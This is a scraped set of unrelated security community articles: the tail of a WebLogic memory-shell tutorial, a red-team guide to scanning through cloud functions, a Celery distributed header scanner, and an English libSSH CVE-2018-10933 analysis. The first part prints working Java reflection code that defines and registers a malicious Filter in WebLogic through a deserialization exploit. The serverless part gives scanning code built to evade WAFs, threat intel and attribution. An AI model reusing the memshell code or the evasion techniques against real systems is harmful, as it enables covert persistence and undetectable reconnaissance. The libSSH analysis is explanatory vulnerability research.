从线程中取 不再讨论第一种，直接看第二种 Class<?> executeThread = Class.forName("weblogic.work.ExecuteThread"); Method m = executeThread.getDeclaredMethod("getCurrentWork"); Object currentWork = m.invoke(Thread.currentThread()); Field connectionHandlerF = currentWork.getClass().getDeclaredField("connectionHandler"); connectionHandlerF.setAccessible(true); Object obj = connectionHandlerF.get(currentWork); Field requestF = obj.getClass().getDeclaredField("request"); requestF.setAccessible(true); obj = requestF.get(obj); Field contextF = obj.getClass().getDeclaredField("context"); contextF.setAccessible(true); Object context = contextF.get(obj); 现在我们成功获取到了context，接下来就是调用registerFilter函数将我们的filter注册，但是这里遇到了一个问题，在FilterManager的registerFilter方法中，主要通过FilterWrapper类去包装Filter类。但是FilterWrapper类的构造函数中，并没有可以传递Class的参数，只可以传递ClassName，FilterManager通过ClassName去查找Class，这个就蛋疼了，如果直接调用这个方法，肯定找不到的呀 这里跟下过程，FIlter将会在loadFIlter中实例化， filterWrapper.getFilterClassName中获取FilterClass的名称，然后通过context的createInstance方法去实例化。createInstance 我们看到了classloader，weblogic中有自定义的classloader，跟进它的loadclass方法，会首先从cache中查找是否存在待查找的类，如果存在，则直接返回该名称对应的Class public Class loadClass(String name) throws ClassNotFoundException { boolean doTrace = ctDebugLogger.isDebugEnabled(); if (doTrace) { ClassLoaderDebugger.debug(this, SupportedClassLoader.CACL, "loadClass", name); } Class res = (Class)this.cachedClasses.get(name); if (res != null) { return res; } else { try { if (!this.childFirst) { return super.loadClass(name); } else if (!name.startsWith("java.") && (!name.startsWith("javax.") || name.startsWith("javax.xml")) && !name.startsWith("weblogic.")) { try { synchronized(this) { return this.findClass(name); } } catch (ClassNotFoundException var7) { return super.loadClass(name); } } else { return super.loadClass(name); } } catch (Error var8) { if (doTrace) { ClassLoaderDebugger.debug(this, var8); } throw var8; } catch (ClassNotFoundException var9) { if (doTrace) { ClassLoaderDebugger.debug(this, var9); } throw var9; } } } 参考文章直接给出，我们可以通过反射直接将自己的Filter放到这个缓存中，问题都解决了，整体实现代码 try { ? ? ? ? ? ? Class<?> executeThread = Class.forName("weblogic.work.ExecuteThread"); ? ? ? ? ? ? Method m = executeThread.getDeclaredMethod("getCurrentWork"); ? ? ? ? ? ? Object currentWork = m.invoke(Thread.currentThread()); ? ? ? ? ? ? Field connectionHandlerF = currentWork.getClass().getDeclaredField("connectionHandler"); ? ? ? ? ? ? connectionHandlerF.setAccessible(true); ? ? ? ? ? ? Object obj = connectionHandlerF.get(currentWork); ? ? ? ? ? ? Field requestF = obj.getClass().getDeclaredField("request"); ? ? ? ? ? ? requestF.setAccessible(true); ? ? ? ? ? ? obj = requestF.get(obj); ? ? ? ? ? ? Field contextF = obj.getClass().getDeclaredField("context"); ? ? ? ? ? ? contextF.setAccessible(true); ? ? ? ? ? ? Object context = contextF.get(obj); ? ? ? ? ? ? Method getFilterManagerM = context.getClass().getDeclaredMethod("getFilterManager"); ? ? ? ? ? ? Object filterManager = getFilterManagerM.invoke(context); ? ? ? ? ? ? Method registerFilterM = filterManager.getClass().getDeclaredMethod("registerFilter", String.class, String.class, String[].class, String[].class, Map.class, String[].class); // String filterName, String filterClassName, String[] urlPatterns, String[] servletNames, Map initParams, String[] dispatchers ? ? ? ? ? ? registerFilterM.setAccessible(true); ? ? ? ? ? ? Field classLoaderF = context.getClass().getDeclaredField("classLoader"); ? ? ? ? ? ? classLoaderF.setAccessible(true); ? ? ? ? ? ? ClassLoader cl = (ClassLoader) classLoaderF.get(context); ? ? ? ? ? ? Field cachedClassesF = cl.getClass().getDeclaredField("cachedClasses"); ? ? ? ? ? ? cachedClassesF.setAccessible(true); ? ? ? ? ? ? Object cachedClass = cachedClassesF.get(cl); ? ? ? ? ? ? Method getM = cachedClass.getClass().getDeclaredMethod("get", Object.class); ? ? ? ? ? ? if (getM.invoke(cachedClass, "Myfilter") == null) { ? ? ? ? ? ? ? ? byte[] Uclassbate = new byte[] {Filter的字节码数据}; ? ? ? ? ? ? ? ? Method defineClass = cl.getClass().getSuperclass().getSuperclass().getSuperclass().getDeclaredMethod("defineClass", byte[].class, int.class, int.class); ? ? ? ? ? ? ? ? defineClass.setAccessible(true); ? ? ? ? ? ? ? ? Class evilFilterClass = (Class) defineClass.invoke(cl, Uclassbate, 0, Uclassbate.length); // 恶意类名称为 Myfilter? filter 名称为filtername ? ? ? ? ? ? ? ? Method putM = cachedClass.getClass().getDeclaredMethod("put", Object.class, Object.class); ? ? ? ? ? ? ? ? putM.invoke(cachedClass, "Myfilter", evilFilterClass); ? ? ? ? ? ? } ? ? ? ? ? ? registerFilterM.invoke(filterManager, filterName, "Myfilter", new String[]{filterUrlPattern}, null, null, null); ? ? ? ? } catch (Exception e) { ? ? ? ? ? ? e.printStackTrace(); ? ? ? ? } wblogic12.1.3测试成功，这里直接用反序列化漏洞打的 # # 四、参考链接 <https://mp.weixin.qq.com/s/DMVcqtiNG9gMdrBUyCRCgw> <https://paper.seebug.org/1233/> <https://www.cnblogs.com/skisqibao/p/10278987.html> <https://www.runoob.com/w3cnote/filter-filterchain-filterconfig-intro.html> <https://developer.aliyun.com/article/83765> <https://www.cnblogs.com/potatsoSec/p/13162792.html> <https://www.cnblogs.com/lxmwb/p/13235572.html> <https://github.com/cnsimo/TomcatFilterInject/blob/master/src/com/reinject/MyFilter/TomcatShellFilter.java> <https://lucifaer.com/2020/05/12/Tomcat%E9%80%9A%E7%94%A8%E5%9B%9E%E6%98%BE%E5%AD%A6%E4%B9%A0/> <https://www.cnblogs.com/potatsoSec/p/13162792.html> * * *
社区文章
# 前记 ​ 大家好，我是风起，本次给大家分享的是 **Serverless扫描技术** 也是我在SecTime沙龙演讲时讲到的一种隐匿扫描技术，通过 **Serverless（云函数）** 实现各种扫描器探测功能，以达到绕过态势感知、WAF等安全设备，增大蓝队研判人员溯源难度，实现封无可封，查无可查的效果。希望大家通过阅读本文能够有所收获，那么下面由我来给大家揭秘这个有趣的攻击方式吧。 # Serverless目录扫描实现 ​ 首先创建一个云函数，这里以腾讯云举例。 ​ 然后选择自定义创建，运行环境选择python3.6，函数名随意，地域则随便选一个即可，会随机分配该地域下的IP作为我们的出口IP地址，配置与云函数上线CS的方式相同。 ​ 云函数代码为以下，无论是云函数还是域前置或者反向代理等手段，本质都是流量转发，所以我们在云函数上编写的核心代码就是实现了单次扫描返回信息的功能，剩下的控制代码则由我们本地编写的代码执行。 # -*- coding: utf8 -*- import requests def main_handler(event, context): headers=event["headers"] url=event["queryString"]["url"] path = event["queryString"]["path"] crake_url=str(url+path) try: r = requests.get(crake_url,timeout=5,headers=headers,verify=False) status = r.status_code except Exception: status = None pass return status,crake_url ​ 配置好云函数代码后，继续进入 **触发管理** 选项。 ​ 触发器配置如图所示，注意取消勾选集成响应。 ​ 编辑API配置中，将路径设置为 **/** ，然后点击 **立即完成** ​ 然后得到了两个API网关的公网域名，这时我们就已经完成了基本配置。可以通过这两个公网域名实现对我们上面编写的云函数功能的触发实现。 ​ 这里进一步编写一个简单的Demo，在本地实现了一个目录扫描的功能，通过对获取的公网地址传参，实现以云函数服务对指定站点目录扫描，这里我传递了要扫描的url地址以及字典，代码如下： ​ 在我们本地执行代码进行扫描，会得到响应给我们并输出扫描结果。 ​ 通过微步情报可以发现确为，腾讯云—广州的IDC服务器 ​ 但是大家注意看 **Apache access.log日志中** header头中的User-Agent为python-requests/2.26.0，存在了很明显的特征，这时我们继续修改本地控制代码。 ​ 我们创建一个 get_ua-header.py文件，其中创建了一个UA数组，存放了大量不同的User-Agent。 ​ 这里导入我们刚才创建的UA数组，然后在第二个箭头所指处设置header的User-Agent每次都随机获取UA数组中的值，再在发送请求中指定header，当然这里仅为了演示，如果真实场景下，可以将header头自定义设置更多选项让它看起来更像是一个合法的请求。 ​ 这里云函数中获取到了我们本地请求API网关域名的headers然后在转发时将它的header替换为我们本地请求包中的header从而实现了自定义header的效果，修改后的扫描情形如下图所示： ​ 发现在Apache日志中，User-Agent已经为我们本地请求的随机信息，那么通过继续自定义本地控制代码中的header信息让他看起来更加合理，就可以实现更加隐匿的扫描啦。 ​ 继续我们重复上面的操作，创建一个一模一样的云函数，API网关也为相同配置，但是需要注意的是选择的地域要为不同的地方，因为 **单个用户在某个地域只能有5个随机出口IP** ，也就是说如果这五个IP均被封禁了那么我们的扫描就无法继续进行了，但是攻防本身就是对等的，那么有什么办法能够绕过呢？ ​ 我们增加了两个一模一样的云函数配置，仅为选择的地域不同，也是为了绕过上面这一限制，修改我们的代码添加另一个API网关域名地址对字典进行分工扫描，两个云函数分别截取字典的部分内容进行扫描，这里我选择的地域是广州和上海，然后开始目录扫描。 ​ 现在继续查看access.log日志，发现多出了一些上海的IP地址，是不是更加迷惑了呢？而在目标业务系统中每天面对大量的请求使用中，以往的排查溯源思路都是过滤频繁访问或者进行可疑操作的IP地址，但是对于这种情况，通常会被一些正常的请求混杂其中，防守方进行日志审计时往往就会认为这些是正常的HTTP请求。 ​ 关于这里分批扫描的实现思路在 **拓展延伸** 会继续深入讲解。 # Serverless端口扫描实现 ​ 然后我们继续来实现端口扫描器的实现，云函数的配置及API网关配置这里就不多做赘述了，与上面讲到的一样，这里我们仅关注云函数代码和本地控制代码的实现。 ​ 云函数代码如下： # -*- coding: utf8 -*- from socket import * def main_handler(event, context): IP=event["queryString"]["ip"] port=event["queryString"]["port"] try: conn=socket(AF_INET,SOCK_STREAM) res=conn.connect_ex((str(IP),int(port))) conn.send('Hello,World!'.encode("utf8")) results=conn.recv(25) if res==0: conn.close() return port except Exception as err: print(err) finally: print("") conn.close() return None ​ 同样这里云函数仅需要实现简单的单次端口扫描，我们的控制代码如下： ​ 可以看到，这里同样应用了上面的讲到的分批扫描，如果说上面讲到的是通过对字典中的路径区分使用两个不同的云函数API网关域名，那么这里的端口扫描则为通过端口来区分。 ​ 因为端口扫描会慢一些，所以这里我使用了协程的方式，扫描速度会更快，使用了grequests模块。 ​ 这里执行一下本地扫描脚本，成功的得到了目标主机端口的开放情况，但这不是重点。 ​ 这里使用Hfish来展示态势感知中的端口扫描情况 ​ 可以看到，对这些端口扫描的IP均为腾讯云的随机IP，是不是无从下手呢？ ​ 通过Kunyu对这些IP进行批量查询发现，发现所在地均为中国上海和成都两地，也证实了攻击IP为我们云函数的出口IP地址，并且这些数据的Time时间均比较早，而在威胁情报中看到这些IP为IDC服务器，也辅助说明了这些IP为已经回收目前应用于云函数进行请求的云服务器的IP地址，这里的时间因素也是我们后续判断溯源这种攻击方式的关键所在。 ​ 欢迎大家来了解一下Kunyu，是一个很好用的空间测绘数据分析工具，其中亮点满满哦~ 非常适合大家在红蓝对抗的工作中进行信息收集或者溯源等工作，不同于其他工具的是，Kunyu的设计更贴合数据分析的工作而不仅仅只是IP导出。 **下载地址：<https://github.com/knownsec/Kunyu>** # 拓展延伸 ​ 上面讲到了 **单个用户在某个地域只能有5个随机出口IP** 那么在更大流量的扫描下，单次如果仅仅只是5个扫描的IP地址，依旧非常容易被排查出来从而封禁IP。那么为了解决这一问题，我们可以通过分批次的方式进行扫描，如果是端口扫描，我们就可以创建多个云函数且为不同地域分工扫描不同端口，在态势感知来看就是这n*5个IP地址在进行扫描，也就解决了单个地域只能有5个IP的窘境。 ​ 同样进一步思考，我们也可以在相同的云函数下创建多个地域的云函数，再创建其他厂商的云函数，实现了IP地址的多元化，在这个基础上再创建不同地域，理论上可以这样一直叠加，实现单兵大流量扫描。 ​ 对于大集团目标，通常每天态势感知都会有很大的扫描流量，那么在这种情况下，如果给我们的云函数扫描再加上一定程度的随机延时扫描，那么在态势列表中看到的就是一堆不连续的单次请求，如果是目录扫描则会直接认为是正常的请求，因为IP的随机性以及请求包的合法性、不连续性根本无法联想这是一次扫描事件，更不要谈溯源的问题了，根本无法还原攻击链，这样的攻击只会比C2隐匿反弹更难缠。 ​ 整个实现过程思维导图如下： ​ 各位小伙伴也可以在我所讲的基础上，更进一步将请求包完善的尽量合理化，这样面对防火墙等设备，面对大量的IP扫描也无法通过IP频繁请求的方式从而封禁IP，导致封无可封，更别谈溯源的问题了。而本地的控制代码可以帮助我们更好的对整个扫描进行控制处理，让整个扫描更加个性化，云函数代码只进行单次流量转发扫描，而本地代码则负责了通过什么样的方式扫描的问题。 ​ 但是面向蓝队成员来讲也不需要太过恐慌，毕竟有攻就有防，针对这种扫描，如果找出可疑流量直接封禁IP即可，这种情况下就会导致红队扫描结果的不准确，某个IP被封禁了，那么他的后续通过这个IP的请求都将扫描失败。 ​ 再退到红队的角度，面对上面的应对方式，我们可以通过思维导图中讲到的分工扫描，多个云函数交替重复相同的扫描任务防止封禁，这样某个IP被封禁也不用怕扫描的失效，当然一般来讲封禁IP也都是扫描结束后的事情了，通常防守方根本没那么快的响应速度。 ​ 我一直认为攻防对抗双方是对等的立场，各自都有自己的优势，而如何利用自身的这种优势实现目标就是需要思考的问题了，在检验企业安全的同时也在磨练技术人员的技术水平，这也是红蓝对抗的意义所在。所以大家在思考攻击或者防守问题时一定要站在对立的角度去想，思考对方的应对手段才能找到问题的突破点。 ​ 上面提到的代码均已上传至Github，感兴趣的师傅可以自行下载，也可以自己编写。 ​ **下载地址：<https://github.com/wikiZ/ServerlessScan>** # 后记 ​ 回忆一下2021年11月份，我平均每周都会进行一次演讲活动，或为团队分享、内部分享、沙龙分享，也很感谢各位小伙伴的支持。我觉得在这种分享的场景下，是非常提升交流沟通能力的。在与运营小姐姐的对接，预演等工作以及准备PPT，构思怎么去把自己所学的更好的讲出来，能够让别人接受，这些都是以往我没有去想过做过的事情，我觉得人也正是在每一次这种经历下不断成长起来的，我也深知自己能力不足，所以始终不敢懈怠。 ​ 时至今日，Kunyu有了很多Title，补天白帽大会年度最佳兵器奖，404星链计划，Kcon兵器谱等，也很感谢大家的支持，我也没有想到当初无心去做的一件事情能够得到那么多人的支持，我也会坚持更新听取大家的需求，去更好的完善Kunyu，看到国内的师傅们甚至国外的从业者的关注我觉得真的是一件非常有成就感的事情。 ​ 至于风起这一ID，最初的取义是来自 **风起于青萍之末** 作为灵感。因为我也并非科班出身，所以ID的取义也是希望自己能够在不断的积累中逐渐壮大，真正的大风起兮，当然距离这一目标还有非常远的路要走哈哈哈。 ​ 回想一下2021年，我共输出了8篇文章，这个数量其实是不多的，但是我始终坚持输出我认为有用的知识点，哪怕几个月输出一篇，我也坚持不去制造一些重复性的工作，每篇文章都会带入自己的一些想法给大家。我觉得如果写文章变成了为了写文章而去写那么就失去了它的意义所在，所以我一直坚持在安全文章平台去写，看到一些公众号付费的文章也只能付诸一笑，我赞同知识付费，但是就我个人而言，能够让更多的人看到我的文章有所收获了解到风起，远比利益本身重要得多，所以我也会继续坚持这一理念，坚持输出，继续进步。 ​ 也许因为这是本年度最后一篇文章，所以在后记讲的多了一些，也希望大家理解，在这里感谢大家在这一年度对我的支持，祝大家心想事成，美梦成真。 ​ 想要交流涉网案件、红队攻防技术的师傅可以联系我，平常我也非常喜欢交朋友。
社区文章
抛砖引玉一下。。。 公司内网搭建了分布式扫描器，但是却耗费了好多服务器资源，那么如何在外网无VPS和服务器的情况下，快速搭建一套分布式扫描器呢？ 首先，先鄙视一下我这种羊毛党。 然后引入正文daocloud.io，这个平台可以免费运行3台docker容器。 一台作为celery的broker（这里我使用的是redis） 一台作为数据接收db（这里我使用的是mongodb。注：从dockerhub的镜像部署，daocloud自身的mongodb镜像不让用） 另外一台作为woker 先看一下woker这台容器的镜像是如何构建的 <https://raw.githubusercontent.com/yuxiaokui/celery-app/master/Dockerfile> FROM fedora:latest MAINTAINER xi4okv RUN dnf -y install python RUN pip install celery redis IPy pymongo requests ENV THREAD 10 ENTRYPOINT  cd /app && celery -A tasks worker  --loglevel=info -c $THREAD OK。。。。 就是这么简单。 然后看一下部署效果。 然后tasks.py的内容是 from celery import Celery BROKER_URL = 'redis://redis.t2.daoapp.io:61xx4/0' BACKEND_URL = 'redis://redis.t2.daoapp.io:61xx4/1' celery = Celery('tasks',     broker=BROKER_URL,     backend=BACKEND_URL) import socket import sys, os, time import requests import pymongo client = pymongo.MongoClient('mongodb://mongodb.t2.daoapp.io:61xx7/') db = client['sites'] posts = db['sites'] @celery.task def scan(url):     headers = requests.head(url, timeout=3).headers     headers["url"] = url     posts.insert_one(headers)     return headers 也是很简单的一次headers收集。 下面开始分发任务。 from tasks import scan for url in open("urls.txt"):     scan.delay("http://" + url.strip())     print url OK，执行完毕，看下数据处理效果。 import  pymongo client = pymongo.MongoClient('mongodb://mongodb.t2.daoapp.io:61xx7/') db = client['sites'] posts = db['sites'] servers = posts.aggregate([{"$group" : {"_id" : "$X-Powered-By", "num_tutorial" : {"$sum":1 }}}]) for server in servers:     print server[/code][code]============== RESTART: C:\Users\xi4okv\Desktop\task\getData.py ============== {u'num_tutorial': 1, u'_id': u'ARR/3.0, ASP.NET'} {u'num_tutorial': 1, u'_id': u'ASP.NET, UrlRewriter.NET 2.0.0'} {u'num_tutorial': 1, u'_id': u'PHP/5.5.18'} {u'num_tutorial': 1, u'_id': u'PHP/5.5.10'} {u'num_tutorial': 1, u'_id': u'KCDNS'} {u'num_tutorial': 1, u'_id': u'PHP/5.2.8'} {u'num_tutorial': 1, u'_id': u'ThinkPHP2.1'} {u'num_tutorial': 1, u'_id': u'WWW_80'} {u'num_tutorial': 1, u'_id': u'PHP/5.4.13'} {u'num_tutorial': 2, u'_id': u'PHP/5.5.38'} {u'num_tutorial': 1, u'_id': u'PHP/5.3.10-1ubuntu3.18'} {u'num_tutorial': 2, u'_id': u'PHP/5.6.21'} {u'num_tutorial': 1, u'_id': u'PHP/5.3.10-1ubuntu3.26'} {u'num_tutorial': 1, u'_id': u'PHP/5.5.12'} {u'num_tutorial': 1, u'_id': u'PHP/5.6.26'} {u'num_tutorial': 1, u'_id': u'PHP/5.5.4'} {u'num_tutorial': 1, u'_id': u'jb51.net'} {u'num_tutorial': 1, u'_id': u'PHP/5.4.9-4ubuntu2.4'} {u'num_tutorial': 1, u'_id': u'PHP/5.5.9-1ubuntu4.5'} {u'num_tutorial': 2, u'_id': u'PHP/5.2.17'} {u'num_tutorial': 1, u'_id': u'ASP.NET, ARR/2.5'} {u'num_tutorial': 1, u'_id': u'PHP/5.3.17'} {u'num_tutorial': 1, u'_id': u'PHP/5.3.19'} {u'num_tutorial': 6, u'_id': u'PHP/5.3.3'} {u'num_tutorial': 6, u'_id': u'PHP/5.4.45'} {u'num_tutorial': 1, u'_id': u'PHP/7.0.13'} {u'num_tutorial': 1, u'_id': u'PHP/5.4.41'} {u'num_tutorial': 3, u'_id': u'PHP/5.4.16'} {u'num_tutorial': 11, u'_id': u'ThinkPHP'} {u'num_tutorial': 6, u'_id': u'WAF/2.0'} {u'num_tutorial': 1, u'_id': u'PHP/7.0.10'} {u'num_tutorial': 2, u'_id': u'PHP/5.6.30'} {u'num_tutorial': 91, u'_id': u'ASP.NET'} {u'num_tutorial': 1, u'_id': u'PHP/5.4.23'} {u'num_tutorial': 1, u'_id': u'PHP/5.3.14'} {u'num_tutorial': 1, u'_id': u'PHP/5.2.14'} {u'num_tutorial': 1, u'_id': u'PHP/5.6.7'} {u'num_tutorial': 1, u'_id': u'PHP/5.2.17, ASP.NET'} {u'num_tutorial': 2, u'_id': u'PHP/5.6.17'} {u'num_tutorial': 1, u'_id': u'PHP/5.4.4'} {u'num_tutorial': 1, u'_id': u'shci_v1.03'} {u'num_tutorial': 9, u'_id': u'Servlet/2.5 JSP/2.1'} {u'num_tutorial': 1, u'_id': u'HC'} {u'num_tutorial': 1, u'_id': u'PHP/7.1.6'} {u'num_tutorial': 1, u'_id': u'YZCMS'} {u'num_tutorial': 6, u'_id': u'PHP/5.3.29'} {u'num_tutorial': 2, u'_id': u'QQ342556105'} {u'num_tutorial': 8, u'_id': u'Express'} {u'num_tutorial': 3, u'_id': u'ThinkCMF'} {u'num_tutorial': 4, u'_id': u'PHP/5.5.30'} {u'num_tutorial': 715, u'_id': None} {u'num_tutorial': 1, u'_id': u'PHP/5.6.9'} {u'num_tutorial': 1, u'_id': u'PHP/5.3.15'} {u'num_tutorial': 2, u'_id': u'Servlet 2.5; JBoss-5.0/JBossWeb-2.1'} {u'num_tutorial': 2, u'_id': u'UrlRewriter.NET 2.0.0, ASP.NET'} {u'num_tutorial': 1, u'_id': u'PHP/5.5.23'} {u'num_tutorial': 1, u'_id': u'PHP/5.6.24'} {u'num_tutorial': 1, u'_id': u'PHP/5.2.17p1'} {u'num_tutorial': 1, u'_id': u'PHP/5.3.29, ASP.NET'} {u'num_tutorial': 2, u'_id': u'PHP/7.0.14'} {u'num_tutorial': 1, u'_id': u'PHP/5.6.16'} {u'num_tutorial': 1, u'_id': u'PHP/5.5.25'} {u'num_tutorial': 1, u'_id': u'PHP/5.4.42'} {u'num_tutorial': 1, u'_id': u'PHP/5.5.9-1ubuntu4.11'} {u'num_tutorial': 1, u'_id': u'PHP/5.6.20'} {u'num_tutorial': 2, u'_id': u'Leichi_IT_01'} {u'num_tutorial': 1, u'_id': u'PHP/7.0.15'} {u'num_tutorial': 1, u'_id': u'PHP/5.5.9-1ubuntu4.19'} {u'num_tutorial': 2, u'_id': u'PHP/5.3.28'} {u'num_tutorial': 1, u'_id': u'ASP.NET,HiSheng'} {u'num_tutorial': 1, u'_id': u'PHP/5.6.13'} 嗯，那么分布式在哪里？ 这就很简单了吧。 再注册一个daocloud账号，就有3台woker了。 使用docker部署很方便，分分钟搞定。 最后还是建议大家自己买VPS这么玩。 总薅羊毛容易被封号。 本文就是简单介绍一下分布式框架的入门。 如果真想用起来，还是建议使用猪猪侠的 thorns_project
社区文章
**Author：Knownsec 404 Security Research Team Date：2018/10/25 Chinese version：<https://paper.seebug.org/720/>** A libSSH authentication bypass vulnerability was discovered recently. At first, I felt that this vulnerability might be quite powerful. Then the PoC appeared on github immediately and exp was added on msf. But I found it couldn’t getshell during the process. So I conducted an in-depth analysis of it. ### Introduction Source code for both versions of 0.7.5 and 0.7.6: 360 released an analysis article with a graph of getshell: The Python version of PoC can be found on Github: ### Condition libSSH-0.7.5 source code download address: PS: Please install the missing dependencies yourself. There is no original compilation record, and I am too lazy to do it again. $ tar -xf libssh-0.7.5.tar.xz $ cd libssh-0.7.5 $ mkdir build $ cd build $ cmake -DCMAKE_INSTALL_PREFIX=/usr -DCMAKE_BUILD_TYPE=Debug .. $ make Mainly using two. One is the SSH server Demo: `examples/ssh_server_fork`, and the other is the SSH client Demo: `./examples/samplessh`. Server startup command: `sudo examples/ssh_server_fork -p 22221 127.0.0.1 -v` Client using command: `./examples/samplessh -p 22221 [email protected]` PS: The user just fills in. I used myuser just to compare the normal authentication request with the bypass request. Modify the `ssh_userauth_xxxx` function of `../src/auth.c`. I modified `ssh_userauth_password`: ![ ](https://images.seebug.org/content/images/2018/10/1a5fe49c-8874-4d1e-ab81-6d77801b5fc4.png-w331s) According to 360’s analysis article and my own research results, I modified the three places shown in the arrow above, so that `/examples/samplessh` become the PoC to verify this vulnerability. PS: Don’t forget to execute make again after modifying the source code. ### Vulnerability analysis According to the debug information output by the server, you can find the `ssh_packet_process` function, see line 1211: 1121 r=cb->callbacks[type - cb->start](session,type,session->in_buffer,cb->user); Then trace to the `callbacks` array equal to `default_packet_handlers` Normally, send `SSH2_MSG_USERAUTH_REQUEST` request can get into `ssh_packet_userauth_request` function. The exploited point of this vulnerability is that send `SSH2_MSG_USERAUTH_SUCCESS` request can get into the `ssh_packet_userauth_success` function. PS: We can get into any function of this array. But after reading other functions, there is no way to getshell. The execution path under normal conditions is: ssh_packet_userauth_request -> ssh_message_queue -> ssh_execute_server_callbacks -> ssh_execute_server_request -> rc = session->server_callbacks->auth_password_function(session, msg->auth_request.username, msg->auth_request.password, session->server_callbacks->userdata); You can see this function. I found that it was set in the server Demo: // examples/ssh_server_fork.c ...... 514 struct ssh_server_callbacks_struct server_cb = { 515 .userdata = &sdata, 516 .auth_password_function = auth_password, 517 .channel_open_request_session_function = channel_open, 518 }; 519 ssh_callbacks_init(&server_cb); 520 ssh_callbacks_init(&channel_cb); 521 ssh_set_server_callbacks(session, &server_cb); ...... Found the `auth_password` function, set by the server's author: // examples/ssh_server_fork.c static int auth_password(ssh_session session, const char *user, const char *pass, void *userdata) { struct session_data_struct *sdata = (struct session_data_struct *) userdata; (void) session; if (strcmp(user, USER) == 0 && strcmp(pass, PASS) == 0) { sdata->authenticated = 1; return SSH_AUTH_SUCCESS; } sdata->auth_attempts++; return SSH_AUTH_DENIED; } Path after successful authentication: ssh_message_auth_reply_success -> ssh_auth_reply_success: 994 session->session_state = SSH_SESSION_STATE_AUTHENTICATED; 995 session->flags |= SSH_SESSION_FLAG_AUTHENTICATED; Under normal condition, after SSH login succeeds, libSSH sets the session to the authentication status. The person who wrote the SSH server sets the flag defined by himself to 1: `sdata->authenticated = 1;` I utilized this vulnerability to bypass verification. The process of the server: ssh_packet_userauth_success: SSH_LOG(SSH_LOG_DEBUG, "Authentication successful"); SSH_LOG(SSH_LOG_TRACE, "Received SSH_USERAUTH_SUCCESS"); session->auth_state=SSH_AUTH_STATE_SUCCESS; session->session_state=SSH_SESSION_STATE_AUTHENTICATED; session->flags |= SSH_SESSION_FLAG_AUTHENTICATED; The libSSH session can be successfully set to the state of successful authentication, but it will not enter the `auth_password` function, so the user-defined flag `sdata->authenticated` is still equal to 0. The graph that we can see verified PoC successfully by other people on the internet is the `Authenticated successful` that output by the `ssh_packet_userauth_success` function. ![ ](https://images.seebug.org/content/images/2018/10/d7d4ca27-2c4a-4560-b60a-3ce14bfe346e.png-w331s) ### The mystery of getshell failure When many people recur the vulnerability, they can find that the server debugging information has output authenticated successfully, but it has not been successful in getshell. According to the above code, I find that the session has been set for the successful authentication, but why can’t I get shell permission? In this regard, I continue to explore in depth. According to the debugging information of the server, I found that the `channel` can be successfully opened, but in the next step `pty-req channel_request` the information displayed on my server is rejected: ![ ](https://images.seebug.org/content/images/2018/10/69876b52-cc0b-4ab9-8e28-c1cfd32b3872.png-w331s) So I continued to track the flow of code execution and traced the `ssh_execute_server_request` function: 166 case SSH_REQUEST_CHANNEL: channel = msg->channel_request.channel; if (msg->channel_request.type == SSH_CHANNEL_REQUEST_PTY && ssh_callbacks_exists(channel->callbacks, channel_pty_request_function)) { rc = channel->callbacks->channel_pty_request_function(session, channel, msg->channel_request.TERM, msg->channel_request.width, msg->channel_request.height, msg->channel_request.pxwidth, msg->channel_request.pxheight, channel->callbacks->userdata); if (rc == 0) { ssh_message_channel_request_reply_success(msg); } else { ssh_message_reply_default(msg); } return SSH_OK; Next, we found the `ssh_callbacks_exists(channel->callbacks, channel_pty_request_function)` check failed, so not entered the branch and caused the request to be rejected. Then backtrack `channel->callbacks`, back to the SSH server `ssh_server_fork.c`: 530 ssh_set_auth_methods(session, SSH_AUTH_METHOD_PASSWORD); 531 ssh_event_add_session(event, session); 532 n = 0; 533 while (sdata.authenticated == 0 || sdata.channel == NULL) { 534 /* If the user has used up all attempts, or if he hasn't been able to 535 * authenticate in 10 seconds (n * 100ms), disconnect. */ 536 if (sdata.auth_attempts >= 3 || n >= 100) { 537 return; 538 } 539 if (ssh_event_dopoll(event, 100) == SSH_ERROR) { 540 fprintf(stderr, "%s\n", ssh_get_error(session)); 541 return; 542 } 543 n++; 544 } 545 ssh_set_channel_callbacks(sdata.channel, &channel_cb); There is no code in libSSH to set the callback function of the channel, as long as it is set manually by the developer in the server, such as the above code of 545 lines. Then we could see the variable `sdata.authenticated` again. The vulnerability bypassed authentication can only set the session to the authentication state, but could not modify the `sdata.authenticated` variable defined by the SSH server developer. So the loop will not jump out until `n = 100`, return ends the function. This led us to fail to getshell. If you want to getshell, there are two ways to modify it: 1.Delete the `sdata.authenticated` variable. 533 while (sdata.channel == NULL) { ...... 544 } 2.Move this code which adds the channel to the callback function before the loop. 530 ssh_set_auth_methods(session, SSH_AUTH_METHOD_PASSWORD); 531 ssh_event_add_session(event, session); 532 ssh_set_channel_callbacks(sdata.channel, &channel_cb); 533 n = 0; 534 while (sdata.authenticated == 0 || sdata.channel == NULL) { ...... I can getshell successfully after modifying the server code. ![ ](https://images.seebug.org/content/images/2018/10/0442e37a-3777-419a-a5a3-d0c6ee27572d.png-w331s) ### Summary After that, I audited the other branches of the `ssh_execute_server_request` function and found all the branches under the `SSH_REQUEST_CHANNEL`: SSH_CHANNEL_REQUEST_PTY SSH_CHANNEL_REQUEST_SHELL SSH_CHANNEL_REQUEST_X11 SSH_CHANNEL_REQUEST_WINDOW_CHANGE SSH_CHANNEL_REQUEST_EXEC SSH_CHANNEL_REQUEST_ENV SSH_CHANNEL_REQUEST_SUBSYSTEM It is a callback function which calls the `channel`. So if the callback function is not registered, the getshell will fail. Finally, it is concluded that CVE-2018-10933 is not as harmful as expected. And according to the banner, I think thousands of ssh targets that use libssh on the Internet are the ssh server in the official libssh demo. A vulnerable version can indeed bypass authentication, but it cannot getshell. ### Reference 1. <https://0x48.pw/libssh/> 2. <https://www.anquanke.com/post/id/162225> 3. [https://github.com/search?utf8=%E2%9C%93&q=CVE-2018-10933&type=](https://github.com/search?utf8=%E2%9C%93&q=CVE-2018-10933&type=) 4. <https://www.libssh.org/files/0.7/libssh-0.7.5.tar.xz> 5. <https://0x48.pw/libssh/libssh_0.7.6/src/packet.c.html#ssh_packet_process> 6. <https://0x48.pw/libssh/libssh_0.7.5/src/packet.c.html#default_packet_handlers> * * *
社区文章
